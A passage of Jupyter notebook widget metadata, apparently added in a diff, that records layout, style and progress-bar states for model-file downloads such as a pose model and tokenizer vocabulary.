"max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3da34455151b42319fc32e56afeb7959": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_965fb38eae6a45678d87fc3e24eb5241", + "placeholder": "​", + "style": "IPY_MODEL_0da3c6cd22da482c88af347dcbdf0d8e", + "value": " 335M/335M [00:03<00:00, 83.6MB/s]" + } + }, + "3deaa7c9f0c940c3af3b9a7c5d0c8de4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3e55680d33db47099479572d0c8915f2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a94d5d8411844431bb022813d14461c0", + "max": 743, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_161da25b295b4afa8f8b88507818d052", + "value": 743 + } + }, + "3e7b34f2b1764dbb82caaf245771abc0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3ff34cbabc564abebd12a9e5e19786b0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_02648abd8847434496722b0c5bb69858", + "max": 334643276, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_e3b2deb57c0644dcbf97297abf22f91c", + "value": 334643276 + } + }, + "40ef1d0b44164265bea4eea32ce1b907": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_72d25c37112c403eaf801833a03a47b2", + "max": 334643276, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_8c4e2621ec244a2db21262a8ed0e4ab7", + "value": 334643276 + } + }, + "41b442152042436ea0703d3c1181824d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_18a72653fc284d29be02e4d2a477ecdd", + "placeholder": "​", + "style": "IPY_MODEL_ff1597bd843b4770b93ffa71f0b05da4", + "value": " 743/743 [00:00<00:00, 8.46kB/s]" + } + }, + "41cb4b504f3e45ea847e1cd74ae449d0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "42109c92a03c45cabd7fbb0cc7cf1c4a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5056e439bb4b4bad8b0694c79138424f", + "max": 806, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7d6d17a2798c41c6b27c25e1057869a3", + "value": 806 + } + }, + "425d719b752b4a1480f8c3f8b9388e50": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8ff9c129cb434f9bbab238f1779c9b0b", + "max": 492265874, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7e5f077830e94e278b213ee5f11739d9", + "value": 492265874 + } + }, + "4276b44c60b64716ab7ad52d8354bc1f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "42cabc32ffc34ddd924fde45571ada38": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4332d0e942ea406daeca4e1bbd36d4cb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "43820ed672c04bbf80155b25c4e4de15": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4399ee6304e94797ac6f36318165d4cc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "439ee7b8de924bf6ba5ee4ef22e0e659": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "44223dcee3694e168e866af5f69aaad4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "445925a5c9da455c90fd9225ab521c1f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "44bc01157b4945b7b81401f978dce8ca": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "44d7b2f89c984dcda69f368adbdf846f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "452c129fabca48efa832b81481703bab": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "455bc344fe60421da1ac931657cbd162": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4615b3c5ce674070840fbb7bcb54f262": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_23a9e406e89041f8ab9a15eae4f9c61b", + "placeholder": "​", + "style": "IPY_MODEL_f18d3449a23c485a85e38f0ced810c99", + "value": " 920/920 [00:00<00:00, 16.9kB/s]" + } + }, + "47507d2cf4e04f2f927ee369c6d7b4d4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b4e865be02fb4290849b676f4dd18ed0", + "max": 9876, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_87d4c1e6a2a047f887704f6b0a148d2e", + "value": 9876 + } + }, + "475c331703bb43adb142f6c9cc41a3bf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c45aec98de234d3982ff83924dce8d7a", + "placeholder": "​", + "style": "IPY_MODEL_942ace43ed1d48aeafc6c5e17f14e034", + "value": "100%" + } + }, + "483e47a822fe43d6ae4c114bfbb8be8a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c905c8d69bcb404aa39ca499c96549e3", + "IPY_MODEL_bd5c5827932b4dabbac38adb33544e48", + "IPY_MODEL_dddba90edf87434aa404eea38eaa63f2" + ], + "layout": "IPY_MODEL_a32f66c9b59e4ae2bca41c1c582119e7" + } + }, + "485caac1aa1641a3b31827620ddfa3e4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bcd48b3b056c4c14b6034ef32fdde5d5", + "max": 472, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_948f2f29870b4ee7974ddad6ba18397d", + "value": 472 + } + }, + "48a26564f08f43dd962464feb762c232": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c6965bc561db4c519b751c5b7bff96a8", + "IPY_MODEL_032471548f5c45ed89d8a62db800c7fc", + "IPY_MODEL_0af102aac55747fcb8854b8b5ed2dd27" + ], + "layout": "IPY_MODEL_a086d1c6722547d5be5939cf4284a1ef" + } + }, + "48dabed3f2ce465ab16a704e0c6b12f7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_962917ac2b044e5989e88100ceb45296", + "placeholder": "​", + "style": "IPY_MODEL_a212be07369b404eb9f04a9cde6543d4", + "value": "Downloading body_pose_model.pth: 100%" + } + }, + "48ec35653f99446db9cefabe146bb2d8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6d699038776e4fad8bb74d2381109b65", + "placeholder": "​", + "style": "IPY_MODEL_38dd90648c1949b196ebf27fb21436ba", + "value": " 525k/525k [00:00<00:00, 735kB/s]" + } + }, + "4900e42f3bfa4a6096b16d47d38687dc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c39f69cd4e8b4bca8e95bda3b06a74f1", + "placeholder": "​", + "style": "IPY_MODEL_f8dbc4c64a0d440e9660b0d7ef083b5c", + "value": " 20/20 [00:10<00:00, 4.77it/s]" + } + }, + "4a3a0d14e22f4a6e9dbb5fb35bc33e8d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4a3c28369fc14bbebdc749d0b3a5747b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4af5ce87c2a243238375d7edf93d08b2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "4b4b8aee32724ff5b0a40f9af956fe72": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_15c1713762124e828b20f54684e496d0", + "max": 920, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_e16487cbe8d74b5baad0d41dbdeeedbb", + "value": 920 + } + }, + "4bf53145f39644d2bf5c3e31f9f23b1a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "4c8fa5fd3d224ce694243ea790de8986": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_28baa1ec6f3c46309c04f2c8462b1798", + "placeholder": "​", + "style": "IPY_MODEL_9cc4d939cc454a0da5eb7bdd234f69b5", + "value": "Downloading (…)tokenizer/vocab.json: 100%" + } + }, + "4cb413851dc3469a8ea04e40373b11de": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8d2f2b219308442db07d23b057f8e7cf", + "placeholder": "​", + "style": "IPY_MODEL_7b9508943bee4f76b996ba561d4bbe9b", + "value": "100%" + } + }, + "4d73b627ecc74bf7ad18f5effa245097": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4e264753749d48a8aab85b9f8fe30aba": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4ec20db88a97441982a914517888a8b4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4f425c415dac44b3b86aa4f481254196": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_97ffad3c1b6e4c9c9621966c028c12aa", + "IPY_MODEL_3c2af8d5617b4b878b2e68f3fc7ebff6", + "IPY_MODEL_8d27414ca68a4494ab3febc1c8a03025" + ], + "layout": "IPY_MODEL_10f4d1976dc04c3bb651b45c08298fab" + } + }, + "4f4bfc7bd24148e6ac524b57cc6d8020": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4fbfe981703e4365a6e944cb9f3913d5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + 